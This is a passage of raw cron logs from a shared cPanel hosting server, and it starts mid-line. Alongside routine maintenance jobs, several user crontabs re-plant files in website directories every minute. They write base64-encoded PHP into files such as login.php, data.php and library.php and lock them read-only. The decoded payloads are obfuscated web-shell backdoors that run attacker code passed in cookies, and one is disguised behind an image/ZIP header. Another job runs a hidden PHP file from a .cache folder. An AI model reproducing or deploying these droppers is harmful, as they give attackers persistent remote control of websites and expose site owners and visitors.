W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:34:01 medusa CROND[31393]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:34:01 medusa CROND[31400]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:34:01 medusa CROND[31399]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:34:01 medusa CROND[31401]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:34:01 medusa CROND[31403]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:35:01 medusa CROND[511]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:35:01 medusa CROND[516]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:35:01 medusa CROND[524]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:35:01 medusa CROND[556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:35:01 medusa CROND[565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:35:01 medusa CROND[567]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:35:01 medusa CROND[568]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:35:01 medusa CROND[566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 04:35:01 medusa CROND[569]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:35:01 medusa CROND[570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:35:01 medusa CROND[571]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:35:01 medusa CROND[572]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:35:01 medusa CROND[573]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:35:01 medusa CROND[575]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:35:01 medusa CROND[577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:35:01 medusa CROND[582]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:35:01 medusa CROND[587]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:35:01 medusa CROND[581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:35:01 medusa CROND[586]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 04:35:01 medusa CROND[592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:35:01 medusa CROND[594]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 04:35:01 medusa CROND[593]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:35:01 medusa CROND[596]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:35:01 medusa CROND[602]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:35:01 medusa CROND[578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:36:01 medusa CROND[2341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:36:01 medusa CROND[2349]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:36:01 medusa CROND[2380]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:36:01 medusa CROND[2382]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:36:01 medusa CROND[2384]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:36:01 medusa CROND[2387]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:36:01 medusa CROND[2388]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:36:01 medusa CROND[2392]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:36:01 medusa CROND[2391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:36:01 medusa CROND[2393]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:36:01 medusa CROND[2396]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:36:01 medusa CROND[2398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:36:01 medusa CROND[2400]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
